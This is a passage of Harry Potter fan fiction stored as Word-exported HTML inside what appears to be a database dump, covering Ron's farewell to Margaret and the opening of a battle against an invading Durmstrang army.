style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Outside of the\ncastle, Margaret was talking with Hagrid and playing with little James and\nLily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;How&#8217;s it feel ta\nbe back &#8216;ome, eh?&#8221; asked Hagrid.&nbsp;\nMargaret beamed at him.&nbsp; She had\ntaken an immediate liking of him as well as Harry and Hermione&#8217;s children.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I never thought\nit would be possible,&#8221; she said.&nbsp; &#8220;I\nlong gave up on my prospects of ever coming home to Magiterran, and yet here I\nam at Hogwarts.&#8221;&nbsp; She let a tear of joy\nslide down her cheek.&nbsp; She started\ncooing little James who was in her arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hagrid\nsmiled.&nbsp; &#8220;Ah, there&#8217;s no place like\n&#8216;ome.&nbsp; Well, lassie, you&#8217;re welcome ter\ncome aroun&#8217; any time you like.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Thank you,&#8221; she\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At that moment,\nSeverus Snape came by looking as greasy as ever.&nbsp; He sneered at Margaret before turning to Hagrid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hagrid,\nDumbledore needs to see all Hogwarts trainers now,&#8221; he said.&nbsp; Hagrid stood up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, gotta go,&#8221;\nhe said.&nbsp; &#8220;Lassie, do me a favor and\nlook a&#8217;ter James an&#8217; Lily fer me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;OK,&#8221; said\nMargaret with a smile.&nbsp; She cradled the\ntwins in her arms as Hagrid left with Snape.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">All Hogwarts trainers\nand Mage Knights were crowded in the Great Hall of Hogwarts.&nbsp; The Gryffindor Mage Knights sadly noted that\ntwo of their number, Harry and Hermione, were missing.&nbsp; Fred and George Weasley, the Gryffindor\ncourt jesters were also there, trying to lighten up the gloomy atmosphere by\ntesting their joke products on various people.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I sure hope Harry\nand Hermione are alright,&#8221; said Ginny.&nbsp;\n&#8220;Do you think they&#8217;re together now?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Don&#8217;t worry about\nit,&#8221; said Ron.&nbsp; &#8220;Harry and Hermione have\nbeen through even worse times and they&#8217;ve always come out OK.&nbsp; They&#8217;ll be alright.&#8221;&nbsp; He took a sip of his butterbeer and\nimmediately spat it out as roses started blossoming out of his ears!&nbsp; &#8220;FRED!&nbsp;\nGEORGE!&#8221; he yelled.&nbsp; The Mage\nKnights surrounding Ron all burst out into laughter as Fred and George gave\neach other a high five.&nbsp; McGonagall\nglared at them, but as they were only court jesters, she couldn&#8217;t really do\nanything to them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally,\nDumbledore spoke up over the crowd.&nbsp;\n&#8220;Mage Knights of Hogwarts,&#8221; he called out.&nbsp; &#8220;It is my duty to inform all of you that we are going to\nwar.&nbsp; Early tomorrow morning, invading\nsoldiers from Durmstrang will land at the ravines of Little Hangleton on the\ncoast of the Kingdom of Hufflepuff.&nbsp;\nTherefore, the militaries of the Four-kingdom Alliance must camp out on\nthe cliffs tonight so that we can fight off the enemy.&nbsp; The Alliance military is marching there even\nnow as I speak.&nbsp; Will any of you rise to\njoin the Alliance military to defend our homeland?&#8221;&nbsp; The Mage Knights all shouted a cry of agreement.&nbsp; Dumbledore beamed.&nbsp; &#8220;Then, we shall march immediately to Little Hangleton where we\nshall fight for Magiterran!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Within an hour,\nall of the Mage Knights were astride their horses and preparing to gallop\ntoward the site of the coming battle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You look a little\ngloomy, Ron,&#8221; said Ginny as she had her horse trot alongside her brother&#8217;s.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Really?&nbsp; Well I don&#8217;t think I&#8217;ve felt any better,\nGinny.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Cheer up.&nbsp; You said yourself that Harry and Hermione\nwill be alright.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron sighed.&nbsp; He couldn&#8217;t help but be worried about Harry\nand Hermione and being anxious about the coming battle did not help calm his\nnerves.&nbsp; He caught sight of Margaret\nbidding farewells to the Mage Knights she had grown close to.&nbsp; Ron suddenly had the urge to go do one last\nthing before he left.&nbsp; He stepped off\nhis horse and made his way back to Margaret.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hey,&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hey.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, I suppose\nI&#8217;m going off now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret remained\nquiet for a split second before she let out a sob and rushed into Ron&#8217;s\narms.&nbsp; He let her cry into his shoulder\nfor a minute.&nbsp; Finally, she looked up\ninto his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I can&#8217;t convince\nyou to stay, can I?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&#8220;No I&#8217;m afraid not,&#8221; said Ron.&nbsp;\nMargaret hesitated before she brought her lips to Ron&#8217;s. They kissed\nsweetly for a minute before Ron finally parted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I need to go,&#8221; he\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;OK.&#8221;&nbsp; Tears were streaming down Margaret&#8217;s face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Take care of Lily\nand James, alright?&#8221;&nbsp; Margaret nodded\nmutely.&nbsp; Ron climbed back on his horse\nand went to join Ginny.&nbsp; Within minutes,\nthe Mage Knights had galloped away from Hogwarts into the night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N MWA HA HA HA\nHA HA HA HA HA HA HA!!!&nbsp; I told you guys\nthat Oliver Wood would come out in this!&nbsp;\nWell OK, I only mentioned him in this chapter, but he&#8217;ll have a speaking\nrole later on in the story.&nbsp; So please\nbe patient.&nbsp; Next: it&#8217;s the long awaited\nbattle between Durmstrang and the Alliance!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 15, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n15: The Invasion of Magiterran\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">There had possibly\nnever had been a more tension filled night as hundreds of Durmstrang war ships\nsailed across the calm sea.&nbsp; Thousands\nof bloodthirsty soldiers huddled in the bows of those ships ready to bring death\nand destruction to the lands of the great continent of Magiterran.&nbsp; For these soldiers were conquerors, whose\nonly wish was the destruction and the suffering of others.&nbsp; That was the way they had been trained by\nthe Dark Lord and they were his tools for revenge against the Alliance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Soon, the dawn sun\nsilently crept up over the horizon, and the Durmstrang soldiers were able to\ncatch a glimpse of the shores of Hufflepuff.&nbsp;\nOn top of the deck of the flagship stood Igor Karkaroff.&nbsp; He anticipated the invasion with glee.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Soon, master. &nbsp;Soon,&#8221; he muttered into his arm.&nbsp; &#8220;Soon, revenge shall be yours, and I will be\nthe one who carries it out for you.&#8221;&nbsp;\nAlthough he couldn&#8217;t be seen, Karkaroff was positive that Voldemort was\ngrinning.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Within two hours,\nthe ships were in sight of the cliffs of Little Hangleton and the ravine in\nbetween.&nbsp; This was the only place where\nan entire army could be landed on the coastline of Magiterran other than\nperhaps Beauxbatons.&nbsp; Surprise was a key\nissue and the last thing the Durmstrang military wanted to do was attack a\nmajor metropolitan port city and reveal their presence to the Alliance before\nthey had even landed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, the ships\nanchored on the beach.&nbsp; Thousands of\nDurmstrang soldiers left their ships and started organizing themselves by\nrank.&nbsp; The foot soldiers came first\norganized into battalions.&nbsp; They were\nfollowed by archers right behind them while the cavalry flanked each\nbattalion.&nbsp; Finally, came the heavy\nartillery, which was dragged by many men.&nbsp;\nKarkaroff himself rode on his horse with the officers who rode at the\nhead of every battalion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Slowly, the\nDurmstrang armies marched through the ravine.&nbsp;\nThe echoes of thousands of footsteps rang through the air as the armies\nbegan their invasion&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, a large\nwar cry rang out from above the heads of the Durmstrang armies!&nbsp; The soldiers stopped to look up and see\nAlliance soldiers perched at the top of the cliffs!&nbsp; Karkaroff looked up at them in horror in astonishment.&nbsp; &#8216;The Alliance?!&#8217; he thought.&nbsp; &#8216;How did they know we were coming?&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Archers, fire at\nwill!&#8221; yelled Sirius.&nbsp; Arrows started\nraining down on the Durmstrang forces.&nbsp;\nDurmstrang soldiers raised their shields over their heads so as to\ndefend themselves from the lethal missiles the Alliance soldiers were showering\nthem with.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Charge!&#8221; yelled\nRemus.&nbsp; With a mighty cry, Alliance\nfootmen ran down the cliffs on both sides of the ravine and dove into the\nforces of enemy forces.&nbsp; Pandemonium\nerupted as every soldier started fighting his enemy with whatever weapon they\ncould get a hold of.&nbsp; Swords clashed,\nbattleaxes hacked spears, arrows flew toward shields, flails beat on helmets,\nand maces and war hammers collided.&nbsp; The\nAlliance also fired their on artillery of catapults and cannons from atop the\ncliffs, destroying the Durmstrang artillery before most of it could even be\nused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff was\nstarting to think that things possibly couldn&#8217;t get worse when the Alliance\ncavalry, led by the Mage Knights, charged at them head on through the ravine.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Still, through\nsome sort of sorcery of the Dark Lord, Durmstrang soldiers turned out to be far\ntougher than anticipated.&nbsp; They were\nincredibly bloodthirsty and had the stamina about three times the average\nman.&nbsp; When angered, they went absolutely\nberserk and many an Alliance soldier fell while fighting them in mortal\ncombat.&nbsp; Despite the surprise attack of\nthe Alliance, it was still conceivable that Durmstrang could overcome them with\nthe sheer toughness of their soldiers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As fighting raged\non, Karkaroff decided it was time to release their secret weapon.&nbsp; He hadn&#8217;t planned on actually using it until\nthey attacked the major cities but the surprise attack had forced him to change\nhis plan.&nbsp; Karkaroff blew a shrill\nwhistle and hell was unleashed.&nbsp; Hundreds\nof dementors came floating out of the ships sucking all sense of hope out of\nthe Alliance soldiers and they even managed to perform their lethal kisses on a\nfew.&nbsp; Soon, moral went to an all time\nlow as despair settled on the Alliance soldiers: the handy work of dementors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The presence of\nthe dementors was the cue for the Mage Knights.&nbsp; Thinking of the happiest thoughts they could imagine, the Mage\nKnights all bellowed, <i>&#8220;Expecto Patronum!&#8221;</i>&nbsp; Hundreds of silver animal images shot toward the dementors.&nbsp; They all combined into a single patronus\nstream: a silver river flowing through the air.&nbsp;&nbsp; It was perhaps the most beautiful thing in existence, for the\npatronus-river shone like the stars and gave a dazzling glow that blinded the\nenemy soldiers.&nbsp; Whereas one patronus\nsimply drove dementors away, a powerful patronus-river was outright fatal to\nthe dementors!&nbsp; They faded away,\nscreaming in pain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Soon, the Mage\nKnights were in the forefront of battle.&nbsp;\nRon and Ginny were fighting side by side, each hacking at their enemy\nwhile making sure the other was all right.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;How are you\nholding up?&#8221; shouted Ginny as she bashed one enemy with the hilt of her sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Doing like I&#8217;m\nthe king of the world,&#8221; answered Ron sarcastically.&nbsp; He swiped at three enemy soldiers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Need any help?&#8221;\nasked Ginny as she chopped an enemy spear in half.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Nope, I&#8217;ve got it\nunder control,&#8221; said Ron, and he meant it.&nbsp;\nHe yelled <i>&#8220;Expelliarmus!&#8221;</i> and sent the mace of one enemy soldier\nflying into the face of another.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Good for you. &nbsp;<i>Accio!</i>&#8221;&nbsp; Ginny summoned one of the enemy&#8217;s swords and started fighting\nwith two blades.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron suddenly felt\na presence behind him.&nbsp; He spun around\nand used his momentum to swing his sword.&nbsp;\nIt hit the blade of Sir Draco Malfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Watch who you&#8217;re\nfighting,&#8221; he drawled.&nbsp; Draco flicked\nhis sword behind him and stabbed an enemy soldier who was creeping up behind\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Nice to see you\nalive as well, Malfoy,&#8221; said Ron.&nbsp; He\nand Ginny yelled, <i>&#8220;Reducto!&#8221;</i> and blasted an entire battalion of enemy\nsoldiers away.&nbsp; Draco picked up a\ndiscarded flail and started bashing enemy soldiers with it while still slicing\nwith his sword at other ones.&nbsp; His right\nhand carried his sword and his left hand carried the flail.&nbsp; By this time, the Mage Knights were the\ndominant force on the battlefield.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff still\nhad a number of tricks up his sleeve however.&nbsp;\nHe placed two fingers on his lips and blew a shrill whistle.&nbsp; Suddenly, hundreds of trolls came running\nacross the cliffs!&nbsp; Apparently,\nKarkaroff had the ability to control trolls for these were Magiterran\ntrolls.&nbsp; The trolls attacked the\nsparsely defended areas of the Alliance forces on the tops of the cliffs, which\nwas also where they kept their artillery.&nbsp;\nThe Alliance artillery was lost to the trolls while the surviving soldiers\nescaped to the heat of the battle in the ravine.&nbsp; After disposing the artillery, the trolls also rushed into the\nravine.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">This proved to be\na fatal mistake on the part of 